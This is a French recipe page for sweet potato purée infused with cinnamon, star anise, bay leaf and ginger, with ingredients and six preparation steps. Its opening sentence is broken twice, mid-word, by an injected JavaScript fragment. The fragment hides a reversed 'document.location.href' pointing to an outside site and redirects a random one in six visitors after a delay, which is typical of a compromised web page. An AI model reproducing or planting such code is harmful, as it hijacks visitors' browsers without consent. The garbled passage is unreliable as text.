Purée de patates douces à la cannelle

2021-02-27

Versez la crème fleurette dans une casserole avec les étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toiles badiane et le bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton de cannelle. Portez à ébullition. Retirez du feu. Couvrez et laissez infuser pendant 30 minutes.

Ingrédients

  • Pour 1 personne
  • 200 g de patates douces
  • 15 cl de crème fleurette
  • 2 étoiles de badiane
  • 1 bâton de cannelle
  • 1 feuille de laurier
  • 1 morceau de gingembre

Préparation de la recette

Etape 1

Versez la crème fleurette dans une casserole avec les étoiles badiane et le bâton de cannelle.

Etape 2

Portez à ébullition. Retirez du feu. Couvrez et laissez infuser pendant 30 minutes.

Etape 3

Pelez les patates douces et les couper en cubes.

Etape 4

Dans une casserole d'eau bouillante plongez le gingembre, les patates douces, et la feuille de laurier que vous aurez déchiré.

Etape 5

Faites cuire pendant 15 à 20 minutes jusqu'à ce qu'il soit tendre. Vérifiez la cuisson.

Etape 6

Écrasez-les avec un presse purée. Mélangez la purée avec la crème fleurette infusée. Salez, poivrez. Servez chaud.

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